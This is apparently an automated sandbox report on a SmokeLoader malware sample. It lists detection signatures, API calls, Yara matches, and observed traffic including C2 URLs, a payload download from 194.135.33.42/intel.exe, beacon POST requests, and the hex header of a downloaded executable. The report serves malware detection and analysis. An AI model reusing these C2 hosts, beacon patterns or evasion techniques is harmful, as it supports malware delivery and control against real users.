Windows Analysis Report
file.exe

Overview

General Information

Sample Name: file.exe
Analysis ID: 780216
MD5: 635e3f021a205ad3a2bf9aaf3d278251
SHA1: c4efd1650fe3bde0bcba9ad2772b451b49809ef4
SHA256: ff69d65d2eacb1bd14db2d94e9dd720aa66a5ef3d108a08d5afe8a3166305617
Tags: exe
Infos:

Detection

SmokeLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected UAC Bypass using CMSTP
Multi AV Scanner detection for submitted file
Benign windows process drops PE files
Malicious sample detected (through community Yara rule)
Detected unpacking (overwrites its own PE header)
Yara detected SmokeLoader
System process connects to network (likely due to code injection or exploit)
Detected unpacking (changes PE section rights)
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Machine Learning detection for sample
Deletes itself after installation
Machine Learning detection for dropped file
C2 URLs / IPs found in malware configuration
Creates a thread in another existing process (thread injection)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Checks if the current machine is a virtual machine (disk enumeration)
Uses 32bit PE files
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to call native functions
IP address seen in connection with other malware
Downloads executable code via HTTP
Contains long sleeps (>= 3 min)
Creates a DirectInput object (often for capturing keystrokes)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops files with a non-matching file extension (content does not match file extension)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Dropped file seen in connection with other malware
Queries disk information (often used to detect virtual machines)
Found large amount of non-executed APIs
Uses Microsoft's Enhanced Cryptographic Provider

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 46%
Source: file.exe Virustotal: Detection: 52% Perma Link
Antivirus detection for URL or domain
Source: http://194.135.33.42/intel.exe Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: vatra.at Virustotal: Detection: 5% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Virustotal: Detection: 47% Perma Link
Source: C:\Users\user\AppData\Local\Temp\Wtfoiq.tmp ReversingLabs: Detection: 40%
Source: C:\Users\user\AppData\Roaming\wdscede ReversingLabs: Detection: 46%
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\F50.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\wdscede Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 12.2.F50.exe.4a6512c.2.unpack Avira: Label: TR/Patched.Ren.Gen7
Source: 5.2.EE5A.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen2
Source: 00000001.00000000.407390160.0000000002A41000.00000020.80000000.00040000.00000000.sdmp Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://skinndia.com/tmp/", "http://cracker.biz/tmp/", "http://piratia-life.ru/tmp/"]}
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004AA034 CryptCreateHash,GetTempPathW, 5_2_004AA034
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004A604F CryptCreateHash,CryptCreateHash, 5_2_004A604F
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004A2015 CryptGenKey, 5_2_004A2015
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004DA0DA CryptDestroyHash, 5_2_004DA0DA
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004A715D CryptDestroyHash,WSAStartup,CryptReleaseContext,CryptReleaseContext, 5_2_004A715D
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004B121F CryptGenKey, 5_2_004B121F
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004A32B3 CryptGenKey, 5_2_004A32B3
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004AD36A CryptGenKey,CryptExportKey, 5_2_004AD36A
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004D23B8 CryptReleaseContext, 5_2_004D23B8
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_0047953C CryptGenKey, 5_2_0047953C
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004E55F9 RegSetValueExW,CryptDestroyHash, 5_2_004E55F9
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_0048766C CryptDestroyHash,GetProcAddress, 5_2_0048766C
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004A06C7 CryptDestroyKey, 5_2_004A06C7
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004AE87C CryptExportKey,CryptDestroyKey, 5_2_004AE87C
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004B9952 CryptAcquireContextA,CryptAcquireContextA, 5_2_004B9952
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004AD9ED CreateToolhelp32Snapshot,CryptBinaryToStringA, 5_2_004AD9ED
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004C49F4 CryptGenKey, 5_2_004C49F4
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004B99AA CryptImportKey,CryptImportKey, 5_2_004B99AA
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004A5A46 CryptBinaryToStringA,CryptBinaryToStringA, 5_2_004A5A46
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004B9A3F CryptEncrypt, 5_2_004B9A3F
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004B9AC3 CryptDestroyKey,CryptDestroyKey, 5_2_004B9AC3
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004B9AD7 CryptReleaseContext,CryptReleaseContext, 5_2_004B9AD7
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_00499BD0 CryptDestroyKey,GetProcAddress, 5_2_00499BD0
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004BBBE5 CryptDestroyHash, 5_2_004BBBE5
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004EAB82 CryptDestroyKey, 5_2_004EAB82
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004C9C5B CryptReleaseContext, 5_2_004C9C5B
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004D3C6F CryptDestroyKey, 5_2_004D3C6F
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004C6CE7 CryptDestroyKey, 5_2_004C6CE7
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004B9C88 CryptBinaryToStringA, 5_2_004B9C88

Exploits
barindex
Yara detected UAC Bypass using CMSTP
Source: Yara match File source: 6.2.F50.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.F50.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000C.00000002.567433680.0000000000413000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.528207435.0000000000413000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY

Compliance
barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Unpacked PE file: 5.2.EE5A.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\F50.exe Unpacked PE file: 6.2.F50.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\F50.exe Unpacked PE file: 12.2.F50.exe.400000.0.unpack
Uses 32bit PE files
Source: file.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\Desktop\file.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 5.135.247.111:443 -> 192.168.2.4:49701 version: TLS 1.2
Source: Binary string: c:\omtnkdoj\bnwv\yogisfk\cqf.pdb source: F50.exe, 00000006.00000002.528181766.0000000000410000.00000040.00000001.01000000.00000008.sdmp, F50.exe, 0000000C.00000002.567417661.0000000000410000.00000040.00000001.01000000.00000008.sdmp
Source: Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb source: F50.exe, 0000000C.00000002.569153317.0000000002F10000.00000004.00000020.00020000.00000000.sdmp, F50.exe, 0000000C.00000002.648280512.0000000007493000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\donupuvip.pdb source: F50.exe, 00000006.00000000.483025298.0000000000401000.00000020.00000001.01000000.00000008.sdmp, F50.exe, 0000000C.00000000.525499215.0000000000401000.00000020.00000001.01000000.00000008.sdmp, F50.exe.1.dr
Source: Binary string: C:\donupuvip.pdb source: F50.exe, 00000006.00000000.483025298.0000000000401000.00000020.00000001.01000000.00000008.sdmp, F50.exe, 0000000C.00000000.525499215.0000000000401000.00000020.00000001.01000000.00000008.sdmp, F50.exe.1.dr
Source: Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb source: F50.exe, 0000000C.00000002.569572014.0000000004A5F000.00000004.00000800.00020000.00000000.sdmp, F50.exe, 0000000C.00000002.648280512.0000000007493000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb/; source: F50.exe, 0000000C.00000002.569153317.0000000002F10000.00000004.00000020.00020000.00000000.sdmp, F50.exe, 0000000C.00000002.648280512.0000000007493000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb/; source: F50.exe, 0000000C.00000002.569572014.0000000004A5F000.00000004.00000800.00020000.00000000.sdmp, F50.exe, 0000000C.00000002.648280512.0000000007493000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\nodisexu yavagehinup25\lore6 waciropa\jasat.pdb source: file.exe, wdscede.1.dr
Source: Binary string: C:\cotuzupax\penoriyupu\bodukik-pom6.pdb source: EE5A.exe, 00000005.00000000.475912939.0000000000401000.00000020.00000001.01000000.00000007.sdmp, EE5A.exe.1.dr
Source: Binary string: CC:\cotuzupax\penoriyupu\bodukik-pom6.pdb source: EE5A.exe, 00000005.00000000.475912939.0000000000401000.00000020.00000001.01000000.00000007.sdmp, EE5A.exe.1.dr

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 194.135.33.42 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: vatra.at
Source: C:\Windows\explorer.exe Domain query: degroeneuitzender.nl
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2851815 ETPRO TROJAN Sharik/Smokeloader CnC Beacon 18 192.168.2.4:49696 -> 58.235.189.192:80
Source: Traffic Snort IDS: 2851815 ETPRO TROJAN Sharik/Smokeloader CnC Beacon 18 192.168.2.4:49697 -> 211.119.84.112:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://skinndia.com/tmp/
Source: Malware configuration extractor URLs: http://cracker.biz/tmp/
Source: Malware configuration extractor URLs: http://piratia-life.ru/tmp/
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: OVHFR OVHFR
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: ce5f3254611a8c095a3d821d44539877
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 5.135.247.111 5.135.247.111
Source: Joe Sandbox View IP Address: 187.170.238.164 187.170.238.164
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0Date: Sun, 08 Jan 2023 15:15:22 GMTContent-Type: application/octet-streamContent-Length: 1073152Last-Modified: Sun, 08 Jan 2023 15:10:03 GMTConnection: keep-aliveETag: "63badccb-106000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f7 df 75 fd b3 be 1b ae b3 be 1b ae b3 be 1b ae 0e f1 8d ae b2 be 1b ae ad ec 8e ae af be 1b ae ad ec 98 ae cc be 1b ae 94 78 60 ae b4 be 1b ae b3 be 1a ae 31 be 1b ae ad ec 9f ae 90 be 1b ae ad ec 8f ae b2 be 1b ae ad ec 8a ae b2 be 1b ae 52 69 63 68 b3 be 1b ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 65 09 e0 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 7a 01 00 00 b0 85 02 00 00 00 00 bf 5f 00 00 00 10 00 00 00 90 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 86 02 00 04 00 00 2f c8 10 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ec 7d 01 00 50 00 00 00 00 50 85 02 60 84 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 43 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 66 78 01 00 00 10 00 00 00 7a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 34 b7 83 02 00 90 01 00 00 5c 0d 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 60 84 01 00 00 50 85 02 00 86 01 00 00 da 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /systems/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: degroeneuitzender.nl
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nrunfbf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 188Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://utbgbuc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 298Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://laatdiy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 235Host: vatra.at
Source: global traffic HTTP traffic detected: GET /intel.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 194.135.33.42
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://avjruv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 149Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://fpmhvdgw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 262Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://daffyjk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 136Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://lubvvjyufy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 334Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://tklmgewyg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 323Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://gttbvxrpx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 294Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://qsmspqgdlg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 175Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://wgdttq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 332Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://dotemlc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 110Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://utctbvv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 300Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://tduhcp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mwrunlqeb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 255Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://npcojlss.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://yokcj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 164Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://lrmfyx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://wemmwd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 331Host: vatra.at
Source: global traffic HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ursbcr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 355Host: vatra.at
Source: unknown Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: unknown TCP traffic detected without corresponding DNS query: 194.135.33.42
Source: explorer.exe, 00000001.00000000.393736698.0000000008260000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.419303004.0000000008260000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.362501774.0000000008260000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: unknown HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nrunfbf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 188Host: vatra.at
Source: unknown DNS traffic detected: queries for: vatra.at
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004C9255 InternetReadFile, 5_2_004C9255
Source: global traffic HTTP traffic detected: GET /systems/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: degroeneuitzender.nl
Source: global traffic HTTP traffic detected: GET /intel.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 194.135.33.42
Source: unknown HTTPS traffic detected: 5.135.247.111:443 -> 192.168.2.4:49701 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected SmokeLoader
Source: Yara match File source: 0.3.file.exe.2d30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.wdscede.2bd0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.2c00e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.wdscede.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.wdscede.2be0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000001.00000000.407390160.0000000002A41000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.422745433.0000000002D51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.587334500.0000000002E71000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.327713150.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.570683568.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.586404126.0000000002BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.422685888.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Creates a DirectInput object (often for capturing keystrokes)
Source: F50.exe, 00000006.00000002.533600256.0000000002E9A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004B99AA CryptImportKey,CryptImportKey, 5_2_004B99AA

System Summary
barindex
Malicious sample detected (through community Yara rule)
